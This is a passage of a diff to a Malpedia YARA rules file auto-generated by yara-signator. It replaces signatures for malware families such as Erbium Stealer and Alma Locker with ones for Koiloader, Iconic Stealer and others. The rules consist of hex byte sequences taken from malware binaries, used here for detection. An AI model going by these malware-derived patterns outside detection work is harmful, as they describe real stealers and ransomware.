$sequence_0 = { 8b02 c1f806 8b4d0c 8b11 83e23f 6bca30 8b148540e04700 } + $sequence_1 = { 8d4db8 c745fcffffffff e8???????? 8d45b8 c745fc10000000 50 8d45e4 } + $sequence_2 = { 8945cc c645d300 c745c8ffffffff 83cbff 895dc4 c745d800000000 c745dc00000000 } + $sequence_3 = { 3305???????? b904000000 6bd124 8982d0d14700 68???????? 8b45fc 50 } + $sequence_4 = { 660f123d???????? 25ff010000 83c001 25fe030000 f20f592c85c01a4700 f20f591485c01a4700 660f5834c5d0224700 } + $sequence_5 = { 7511 3d00200000 740a be06000000 33c9 8975c0 894dc8 } + $sequence_6 = { f20f5cc3 03c0 03c0 03c0 03c0 660f289800334700 660f2835???????? } + $sequence_7 = { c745fc00000000 33c9 8b751c ba02000000 46 8bc6 f7e2 } + $sequence_8 = { 8bff 55 8bec 83ec10 8b4508 8d0c8598e24700 51 } + $sequence_9 = { e8???????? 8d45b8 c745fc10000000 50 8d45e4 b9???????? 50 } condition: - 7 of them and filesize < 483328 + 7 of them and filesize < 1163264 } -rule MALPEDIA_Win_Pipcreat_Auto : FILE +rule MALPEDIA_Win_Phantomcore_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff44b514-0bd0-5060-9863-69f45ed3246f" + id = "2be56282-528c-5044-bd7b-3727ed618862" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipcreat_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phantomcore" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phantomcore_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "8b0c4b69f4a54d875f228245ca03fbe66625db30fecf518efb33a362af79adb3" + logic_hash = "ee848610d848563fe98dd89814048251462308bba35e0801488bbe21ef0c4142" score = 75 quality = 75 tags = "FILE" @@ -129347,32 +129250,32 @@ rule MALPEDIA_Win_Pipcreat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6800100000 50 ff35???????? e8???????? 83c40c 5f } - $sequence_1 = { 6a00 8d442420 6a00 50 6a01 6a02 6a20 } - $sequence_2 = { 83c418 85c0 7436 56 ff35???????? ff15???????? } - $sequence_3 = { 33c0 c3 8b0d???????? 51 ff15???????? } - $sequence_4 = { e8???????? 83c40c ff15???????? 6a3f a3???????? 33db } - $sequence_5 = { 6a02 6a20 68ff010f00 53 57 52 ffd5 } - $sequence_6 = { 40 3b4510 7cf6 ff35???????? ff15???????? 5f 8bc3 } - $sequence_7 = { 6a00 57 ff15???????? 83c002 83c408 8bf8 66833f00 } - $sequence_8 = { 6a30 6868420010 eb07 6a28 } - $sequence_9 = { a5 50 33db ff35???????? a4 ff15???????? } + $sequence_0 = { 8d45d0 8d4da8 68???????? 50 e8???????? c745f001000000 8d45c0 } + $sequence_1 = { e9???????? 8b16 0f57c0 0f1145c8 83f803 bf03000000 0f42f8 } + $sequence_2 = { 8b65e8 83c50c c745f0ffffffff ff75d8 ff15???????? ff75d8 ff15???????? } + $sequence_3 = { c78634020000cc734b00 c7864402000018714b00 8d8648020000 50 e8???????? 83c404 c7863402000018714b00 } + $sequence_4 = { eb11 8975d8 50 e8???????? 83c404 89c1 8b45d8 } + $sequence_5 = { c745c818714b00 8d4dcc c745d000000000 c745cc00000000 c745c026f64b00 c645c401 8d45c0 } + $sequence_6 = { c7443a480f000000 c6443a3400 8d1c3a 83c34c 83c74c 39cb 0f8571ffffff } + $sequence_7 = { e8???????? 83c410 68???????? 8d852cffffff 50 e8???????? 83c408 } + $sequence_8 = { ff431c c7431800000000 c74344e1c94b00 b80e000000 e9???????? c745f0ffffffff 0fb64dac } + $sequence_9 = { ff7514 ff74240c 6a01 57 e8???????? 8b0e 8b01 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 1840128 } -rule MALPEDIA_Win_Erbium_Stealer_Auto : FILE +rule MALPEDIA_Win_Koiloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4b8a0033-eafb-588e-852d-212657477c66" + id = "5e4efaa4-8409-52c6-a357-d4b16d12b604" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.erbium_stealer_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koiloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koiloader_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "52e0e8033201024664e25bae217264a7d239dc0c23fc20bab4e50f4bf89b0343" + logic_hash = "a14056c4d5487fcde976e3de41a707b0de19ece78e34b4f5bb62e5e5638e41ed" score = 75 quality = 75 tags = "FILE" @@ -129386,32 +129289,32 @@ rule MALPEDIA_Win_Erbium_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 75f8 ba???????? b926000000 2bd0 } - $sequence_1 = { 7409 83c002 66833800 75f7 668b4c2450 6685c9 7418 } - $sequence_2 = { 6a04 6800200000 23f0 56 6a00 ff15???????? } - $sequence_3 = { ff15???????? 8945bc 68???????? 8b55f4 52 } - $sequence_4 = { eb96 6a04 6800300000 6a18 6a00 8b4508 50 } - $sequence_5 = { 52 8b4508 50 ff55bc 33c9 } - $sequence_6 = { 668b8c24a0020000 6685c9 741b 8d9424a0020000 0fb7c9 2bd0 668908 } - $sequence_7 = { ff55b8 c745cc00000000 837dcc00 0f85a2000000 c745c400000000 8d4dc4 51 } - $sequence_8 = { 75f8 668b8c24a0020000 6685c9 741b 8d9424a0020000 } - $sequence_9 = { 8b55f8 8b45fc 0302 8b4de0 0fb711 81e2ff0f0000 } + $sequence_0 = { 3bd1 72f2 c6043100 8d5e12 668b4712 33c9 66894610 } + $sequence_1 = { 88840d80fdffff 41 83f950 72ec 8d9580fdffff 8d8d98f1ffff } + $sequence_2 = { 83c308 03ca 894dc8 8b7904 83ef08 d1ef } + $sequence_3 = { 8d8d2cfbffff e8???????? 8d8d2cfbffff e8???????? 33c9 } + $sequence_4 = { 8be5 5d c20400 56 8b35???????? 6a00 ffd6 } + $sequence_5 = { 8d8d28f5ffff e8???????? 8d8d28f5ffff e8???????? 33c9 } + $sequence_6 = { 46 807c35c000 75f8 33ff 90 e8???????? 33d2 } + $sequence_7 = { 8b7dcc 85ff 7426 8b45d0 33c9 8d1c00 85db } + $sequence_8 = { 8d4df8 51 0f47c2 50 8d8584fbffff 50 ff75f0 } + $sequence_9 = { e8???????? 33c9 66660f1f840000000000 8a840d70edffff 88840d60ffffff 41 83f950 } condition: - 7 of them and filesize < 33792 + 7 of them and filesize < 101376 } -rule MALPEDIA_Win_Alma_Locker_Auto : FILE +rule MALPEDIA_Win_Glitch_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce864cf3-8ed9-5a77-84b9-9123b66a46f1" + id = "c93e3d6a-335e-54cb-bdcc-97351033393c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alma_locker_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glitch_pos_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "8cabf41a3f65a5dd2317b51829855a0a62bf40db235945e5f426bc09d1925bbb" + logic_hash = "21a834f4b54c4ad338d28c072f57ab5cdab3b8ecf8da5350f54289b7483fd1b9" score = 75 quality = 75 tags = "FILE" @@ -129425,32 +129328,32 @@ rule MALPEDIA_Win_Alma_Locker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 750d e8???????? 84c0 0f8461010000 e8???????? 833d????????00 } - $sequence_1 = { 8b08 ff5108 8b45ac 50 8b08 ff5108 } - $sequence_2 = { c745e800000000 c645d800 720b ff75c0 e8???????? 83c404 83ec18 } - $sequence_3 = { 8b85f8fbffff 0f438de8fbffff ffb538f9ffff c785e4fbffff0f000000 c785e0fbffff00000000 8d0441 c685d0fbffff00 } - $sequence_4 = { 1bc0 f7d8 0f854affffff 8b8580fbffff 51 83c0fe 8d8d70fbffff } - $sequence_5 = { 8d558c c645fc04 8d4dbc e8???????? 83c404 c645fc06 837db810 } - $sequence_6 = { 33c0 c645fc0d 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 } - $sequence_7 = { 0f8412000000 83a5e0fffefffe 8b8de8fffeff e9???????? c3 8b542408 8d420c } - $sequence_8 = { c78598fbffff00000000 c7859cfbffff0f000000 720e ffb558fbffff e8???????? 83c404 83bdccfbffff08 } - $sequence_9 = { 83bd9cfbffff10 c78584fbffff0f000000 c78580fbffff00000000 c68570fbffff00 720e ffb588fbffff } + $sequence_0 = { 8b00 ff7508 ff9010030000 50 8d45c4 50 e8???????? } + $sequence_1 = { 8b4508 8b4034 83c001 0f80b9060000 8b4d08 894134 8b4508 } + $sequence_2 = { 8b00 ff7508 ff902c070000 6683bd2cffffffff 0f85f7030000 8b4508 8b00 } + $sequence_3 = { e8???????? 8945dc 8d45e0 50 8b450c 668b00 } + $sequence_4 = { 50 8b8554ffffff 8b00 ffb554ffffff ff5054 } + $sequence_5 = { 668985f0feffff 8d8568ffffff 50 8d8578ffffff 50 8d4598 50 } + $sequence_6 = { 8d4588 50 8b856cffffff 8b00 ffb56cffffff ff90d8000000 } + $sequence_7 = { ffb5dcfeffff e8???????? 89852cfeffff eb07 83a52cfeffff00 8b45c0 } + $sequence_8 = { 83658000 8d45dc 50 8d45d8 50 8d45e0 } + $sequence_9 = { ff75d8 e8???????? dc9d68ffffff dfe0 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 1024000 } -rule MALPEDIA_Win_Atharvan_Auto : FILE +rule MALPEDIA_Win_Cruloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dd431719-94ae-5231-a751-29bdaf0704ba" + id = "39947838-03a3-5a24-945d-6e866d043993" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atharvan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atharvan_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cruloader_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "19e37c8e9adb39c411ba39c49044a47b42d2c1f02c40c66504cd4acf945815d9" + logic_hash = "4307b8e0f195ebffc58740c34a8819f9896c989908200e4e4f90e094ceef34c2" score = 75 quality = 75 tags = "FILE" @@ -129464,34 +129367,34 @@ rule MALPEDIA_Win_Atharvan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f6d1 80c103 8848ff 4883ea01 75eb 448b8504010000 488bd5 } - $sequence_1 = { 4885c0 7441 48c7c1ffffffff 0f1f4000 48ffc1 803c0800 } - $sequence_2 = { 895128 488d0d9fc10000 488b45d8 488908 488d0d915b0100 488b45d8 } - $sequence_3 = { 0fb601 84c0 75f1 488d4c2468 b0c2 } - $sequence_4 = { 48c1f806 4c8d0504f50000 83e23f 488d14d2 498b04c0 f644d03801 7424 } - $sequence_5 = { ff15???????? 85c0 0f842f010000 b901001000 } - $sequence_6 = { 488b08 488d05b8330100 483901 7408 488b09 e8???????? 488b03 } - $sequence_7 = { ff15???????? 488bd8 4883f8ff 742b 448d460e 488bc8 } - $sequence_8 = { 4533d2 498bd2 4885ff 7e1f 4c8d05179dfeff 4b8b8ce070550200 } - $sequence_9 = { 458be0 c7442469cf968ed8 4c8bea c744246d8dc8c4cf } + $sequence_0 = { 53 56 57 8b7d08 eb6f 8b07 8d1c85605c4100 } + $sequence_1 = { 8b413c 0f104508 53 56 } + $sequence_2 = { 8bcf 83e73f c1f906 6bd738 8b0c8dd85e4100 c644112800 85f6 } + $sequence_3 = { 6bc618 57 8db8e8604100 57 ff15???????? } + $sequence_4 = { c0c104 80f19a 884c15f0 42 3bd0 } + $sequence_5 = { 8b75e4 3bf7 7523 baf63f4890 b901000000 } + $sequence_6 = { 33f6 898de0fcffff 898500fdffff 85db } + $sequence_7 = { 894de0 8b049dd85e4100 f644082801 7469 } + $sequence_8 = { 8b8514fdffff 898d0cfdffff 0fb74006 898508fdffff 85c0 7433 83c108 } + $sequence_9 = { b902000000 e8???????? ba241d19e5 a3???????? } condition: - 7 of them and filesize < 348160 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Polyglot_Ransom_Auto : FILE +rule MALPEDIA_Win_Iconic_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bf3c0440-2d73-51e5-9d4d-22d8d3fb589d" + id = "7673e219-b974-5ee5-b8e5-79ce461f9ab7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyglot_ransom_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iconic_stealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "5cf22f105101e70a8b28d9346158b196300696ba529297d761e1115a7c957230" + logic_hash = "5bc33a8c1cdbea6882940424bec9a55b2f154b2fa412fc3e5ed34989f79a9444" score = 75 - quality = 71 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -129503,32 +129406,32 @@ rule MALPEDIA_Win_Polyglot_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 207370 65676e 657265 2064656c 20636f 6d 7075 } - $sequence_1 = { 6a05 68f3000000 8d45e4 68???????? 50 e8???????? 83c434 } - $sequence_2 = { 8d8508faffff 68???????? 50 e8???????? 8d8508f2ffff 50 8d8508faffff } - $sequence_3 = { 740a c783ac00000007000000 39bb1c010100 7708 39bb18010100 7666 39bb20010100 } - $sequence_4 = { 8365e800 8365ec00 837dfc00 7522 837d0800 740e 8b7d08 } - $sequence_5 = { 50 8d8538d9ffff 50 e8???????? 8bc3 50 8d8538d9ffff } - $sequence_6 = { e8???????? 8d4564 50 8d45ec 50 e8???????? } - $sequence_7 = { 7970 7428 293b 223e 44 657363 69667261723c2f } - $sequence_8 = { 807b1d00 8d45e8 50 7445 ff7308 8365e800 680a202600 } - $sequence_9 = { c3 85f6 7504 6a9a 58 c3 8b8608010000 } + $sequence_0 = { ebc9 4885f6 740f ba68000000 488bce e8???????? eb0a } + $sequence_1 = { 498b4a18 8b4148 034144 7912 458bc6 498bd2 e8???????? } + $sequence_2 = { ff8bdc000000 c687c500000003 40387367 7407 c7473407000000 b805000000 394734 } + $sequence_3 = { e9???????? f7430400000001 488b0e 4489642454 48894c2468 4c896598 0fb64164 } + $sequence_4 = { e9???????? 41f7450400000100 0f8480020000 4889bc2458010000 498b3e 4c396648 7414 } + $sequence_5 = { e8???????? 488be8 4885c0 0f849d020000 80783f02 0f8493020000 488b542438 } + $sequence_6 = { ff15???????? 85c0 0f8494000000 39bc2480000000 0f8487000000 498bd6 4c8d1d8d6c0300 } + $sequence_7 = { b8e08004e0 48094330 44896374 4c89a378020000 4c89a370020000 4c89a380020000 4c89a330020000 } + $sequence_8 = { 744d 4c8bc1 eb48 4c8d442440 4889742440 488d150c780300 4489742448 } + $sequence_9 = { 4d85c0 741a 410fb74010 6685c0 7f05 6603c8 eb0b } condition: - 7 of them and filesize < 1392640 + 7 of them and filesize < 2401280 } -rule MALPEDIA_Win_Hardrain_Auto : FILE +rule MALPEDIA_Win_Industrial_Spy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "25398ca8-a4b7-5603-875f-04e6efbaac2b" + id = "49532f61-1558-5e03-9771-9daa1443f81c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hardrain_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industrial_spy_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "bee47eae17e07c9e5633e3c8b1ddd3c37741eaa6fac55010942faf387fc2a537" + logic_hash = "09d68278c920c888a9a9161c0ac726f167f616f36cff9042eab3321dfe0c396f" score = 75 quality = 75 tags = "FILE" @@ -129542,32 +129445,32 @@ rule MALPEDIA_Win_Hardrain_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83ec0c 8b4c2414 8b442410 56 57 8b7904 8b7004 } - $sequence_1 = { 5e 81c418010000 c20400 83ec0c } - $sequence_2 = { 83ec10 56 57 8b7c241c 6685ff } - $sequence_3 = { 52 e8???????? 33c0 b910000000 89442448 } - $sequence_4 = { 5e 83c418 c3 33c9 33c0 8b542424 894c2410 } - $sequence_5 = { c3 68ffffff7f 56 ff15???????? 85c0 } - $sequence_6 = { 32d0 88143e 46 3bf3 7cea 5f 8d4c2408 } - $sequence_7 = { 52 8bce e8???????? 85c0 7413 6a16 8d44241c } - $sequence_8 = { e8???????? 50 8bce e8???????? 85c0 0f84da000000 } - $sequence_9 = { 5d b801000000 5b 59 c20400 8b4c2410 895910 } + $sequence_0 = { 03c8 43890c26 3bc8 7302 ffc7 037c242c } + $sequence_1 = { 33c9 ff15???????? 8b15???????? 4c8d0577020200 498904d0 ffc2 8915???????? } + $sequence_2 = { 418bd9 498bf8 8bf2 4c8d0d2d9c0000 488be9 4c8d051b9c0000 } + $sequence_3 = { 4403d3 41c1ca0c 4503d1 4133c2 054239faff 0345d4 03d0 } + $sequence_4 = { 8bc1 488bce 4803d0 e8???????? 33c0 eb0c b801040000 } + $sequence_5 = { 442bc9 f7d1 443bc9 418bc0 0f46d6 c1e010 } + $sequence_6 = { 0345c0 418d91442229f4 03d0 448d8997ff2a43 418bc2 c1c206 f7d0 } + $sequence_7 = { 418d4a01 418bc1 c1e810 03c2 } + $sequence_8 = { 33c0 eb3d 452bd3 4533c0 4585c9 742f 482bf9 } + $sequence_9 = { 488d0d4bf40000 48894b48 4963d0 c6435401 e8???????? eb18 4885c9 } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 339968 } -rule MALPEDIA_Win_Tofsee_Auto : FILE +rule MALPEDIA_Win_Elise_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5ec9c841-1425-53ec-b84c-3ac0dbb9536e" + id = "08b1c424-ccca-5509-994b-c3215e83e8dc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tofsee_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elise" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.elise_auto.yar#L1-L199" license_url = "N/A" - logic_hash = "a6df759b6d2a0e48c553f18c939a733af072972aeea2dd4dbecf6d38d79b3015" + logic_hash = "70b08762b10b71d08f89704ff70572a2b0da8c94488cb175a27749246468d125" score = 75 quality = 75 tags = "FILE" @@ -129581,32 +129484,42 @@ rule MALPEDIA_Win_Tofsee_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6864006400 ff7510 ff15???????? 85c0 7404 } - $sequence_1 = { 5e c3 55 8bec 83ec14 8365f400 8365f800 } - $sequence_2 = { 57 8d8580fbffff eb68 03d8 81fbf4010000 0f8f92000000 } - $sequence_3 = { 85c9 8816 7ff0 017dfc eb13 8b45ec } - $sequence_4 = { 51 50 53 e8???????? 8b4c241c 8b413c 56 } - $sequence_5 = { ff75fc e8???????? 83c40c 56 ff75f8 8d45d4 6a03 } - $sequence_6 = { 8b4e10 85c9 7412 33d2 f7f1 894df8 8945fc } - $sequence_7 = { e9???????? 68???????? ff7514 e8???????? 59 59 83fb05 } - $sequence_8 = { 391e 895dbc 8975f4 7e7f 83c608 bf???????? 8b46fc } - $sequence_9 = { 0f8498000000 8b4510 8938 8b450c 8d4801 8a10 40 } + $sequence_0 = { 1bc0 83e0fe 83c00b 8945f8 8b45f4 40 50 } + $sequence_1 = { 4b 8d3470 75ed 5b } + $sequence_2 = { ab 75d2 5f 5e 5b c3 } + $sequence_3 = { 7cf5 33c9 888f00010000 888f01010000 } + $sequence_4 = { 8b491c 83c60c 83c110 8945fc } + $sequence_5 = { 8d1c58 d3e0 0945f4 ff45f8 } + $sequence_6 = { c3 55 8bec 51 51 53 8d5f10 } + $sequence_7 = { 888f00010000 888f01010000 8bf7 8945f8 } + $sequence_8 = { 57 6a22 50 894608 ff15???????? } + $sequence_9 = { 034e3c b800030000 d3e0 33c9 6a02 } + $sequence_10 = { 56 57 b99a000000 8d7510 } + $sequence_11 = { e8???????? 83c40c 8d4580 50 8d4588 } + $sequence_12 = { 33c0 e9???????? 833d????????00 7405 e8???????? 83c8ff } + $sequence_13 = { ff75ec 0fb6843794010000 99 53 52 50 } + $sequence_14 = { 0145f0 6a00 6800010000 ff75ec 1155f4 53 } + $sequence_15 = { 5b 85ff 7415 0fb616 33d0 23d1 c1e808 } + $sequence_16 = { 50 ff7580 e8???????? 85c0 } + $sequence_17 = { 6a20 e8???????? 59 8bd8 } + $sequence_18 = { 59 59 33c0 e9???????? 8b35???????? 6a04 } + $sequence_19 = { 8bd7 c1ea03 53 0fb61e 33d8 23d9 c1e808 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Mulcom_Auto : FILE +rule MALPEDIA_Win_Halfrig_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "796c69f9-5b53-545d-88e3-bfd165a4b278" + id = "42e8a2a1-259b-540e-bb50-a68bd513fd92" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mulcom_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.halfrig_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "2762a73c90997100242e2050e0b97b2b7a616be77c2385bca6805b6497e289e6" + logic_hash = "adc9aecc9470ee0c91f95fb542745149148c07ba82848cc511591fd05aa26a6e" score = 75 quality = 75 tags = "FILE" @@ -129620,32 +129533,32 @@ rule MALPEDIA_Win_Mulcom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? b801000000 488b8d70050000 4833cc e8???????? 4c8d9c2480060000 498b5b28 } - $sequence_1 = { 488d4b27 4883c8ff 483bcb 480f46c8 e8???????? 488bc8 4885c0 } - $sequence_2 = { 488d4398 483bc6 75c8 488b5c2430 488b4c2440 482bcb 48b80dc3300cc3300cc3 } - $sequence_3 = { 0f86cd000000 8bc6 4c8d3440 4c8b7c2438 4c8d4dff } - $sequence_4 = { 488b03 48634804 4803cb 4533c0 8bd7 e8???????? 90 } - $sequence_5 = { 488d4c2440 e8???????? 488d5530 48837d4810 480f435530 8b5d40 448bc3 } - $sequence_6 = { eb73 4c8d442430 ba0e000000 488bcf ff15???????? 85c0 750b } - $sequence_7 = { 55 488bec 4883ec70 488b05???????? 4833c4 488945f0 488955d0 } - $sequence_8 = { 498b4110 d020 c3 81fa80000000 731e 4183f804 7318 } - $sequence_9 = { 751f 488b0d???????? 488d1d55e80200 483bcb 740c e8???????? 48891d???????? } + $sequence_0 = { 0f8ea3000000 488d0daf800800 e8???????? 833d????????ff 0f858a000000 488d542420 488d8530030000 } + $sequence_1 = { 488d542420 e8???????? 488d0db8bd0700 e8???????? 40383d???????? } + $sequence_2 = { 4c893d???????? 488d8d30030000 488d05acd70200 488bd6 660f1f840000000000 488d8980000000 0f1000 } + $sequence_3 = { 3905???????? 0f8ea3000000 488d0ddf8d0700 e8???????? 833d????????ff 0f858a000000 488d542420 } + $sequence_4 = { 0f8ea3000000 488d0d2f6c0700 e8???????? 833d????????ff 0f858a000000 488d542420 4c8bc6 } + $sequence_5 = { 4983f815 72db 408835???????? 418b06 4c898b50040000 4088b358040000 3905???????? } + $sequence_6 = { 0f1003 488d542420 488bcd 0f29442420 e8???????? 0fb6d0 488d5b10 } + $sequence_7 = { 8801 418b06 3905???????? 0f8ea3000000 488d0dcf4f0700 e8???????? 833d????????ff } + $sequence_8 = { 418b06 4c898ba0040000 4088b3a8040000 3905???????? 7e4e 488d0d34700400 e8???????? } + $sequence_9 = { c705????????6990e984 c705????????3d6d27f5 e8???????? 403835???????? 4c8d0d0e7b0400 7438 } condition: - 7 of them and filesize < 867328 + 7 of them and filesize < 1369088 } -rule MALPEDIA_Win_Sslmm_Auto : FILE +rule MALPEDIA_Win_Dustman_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d8086894-ce35-51e5-80fd-c0d5178aba78" + id = "371d6ab3-949b-5c9d-8033-67b6c55ea566" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sslmm_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dustman_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "a85823710a9c9f3b9c72213ada570b2364c16fc9f2cafb50a35e2a98adedaa0a" + logic_hash = "b063597b5a4ae400c5fb648bc847f945a242473e9377f95d15455828ca13e94a" score = 75 quality = 75 tags = "FILE" @@ -129659,32 +129572,32 @@ rule MALPEDIA_Win_Sslmm_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 50 51 8bcb e8???????? 85c0 0f854d010000 } - $sequence_1 = { 51 03ee 55 50 e8???????? 8b442478 } - $sequence_2 = { 8bca 83e103 f3aa 8b842480000000 8b4c2420 2bc6 } - $sequence_3 = { 5b 81c45c020000 c3 8b1d???????? 68???????? 56 } - $sequence_4 = { 81ecc8000000 53 8bd9 8b8c24d8000000 55 } - $sequence_5 = { 51 6a00 8d93dc000000 50 52 } - $sequence_6 = { 33c0 5e 81c4ac010000 c21000 } - $sequence_7 = { ff5204 33c0 5e c20c00 6a00 } - $sequence_8 = { 68c8000000 8bf1 6a00 ffd7 8b1d???????? } - $sequence_9 = { 83c404 40 50 53 6aff 57 6a00 } + $sequence_0 = { 8bd9 4c8d0dedb20000 b902000000 4c8d05d9b20000 } + $sequence_1 = { 884810 488b4d88 0fb60c01 884811 488b4d90 0fb60c01 884812 } + $sequence_2 = { c3 488d055d954101 c3 488d054d954101 c3 } + $sequence_3 = { 4c8d9db1010000 4903cb 48894d88 488bca 492bca } + $sequence_4 = { 4d8be1 498be8 4c8bea 4b8b8cfe40c80100 4c8b15???????? 4883cfff } + $sequence_5 = { 492bca 4c8d9dc4010000 4903cb 48894d20 488bca 492bca 4c8d9dc5010000 } + $sequence_6 = { c4c173590cc1 4c8d0d05750000 c5f359c1 c5fb101d???????? c5fb102d???????? c4e2f1a91d???????? c4e2f1a92d???????? } + $sequence_7 = { 0fb68525020000 48c1e028 4c0bd0 0fb68526020000 48c1e030 4c0bd0 0fb68527020000 } + $sequence_8 = { e8???????? 4883f8ff 7524 ff15???????? 488d4c2420 } + $sequence_9 = { e9???????? 4d8bb4f6d0320100 33d2 498bce 41b800080000 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Yayih_Auto : FILE +rule MALPEDIA_Win_Divergent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "20c4d84b-adf0-50ee-81d6-f74bed13f2d6" + id = "0e7b7156-a784-541b-bc2e-90cf2a4a8de0" date = "2026-01-05" modified = "2026-01-06" - reference = 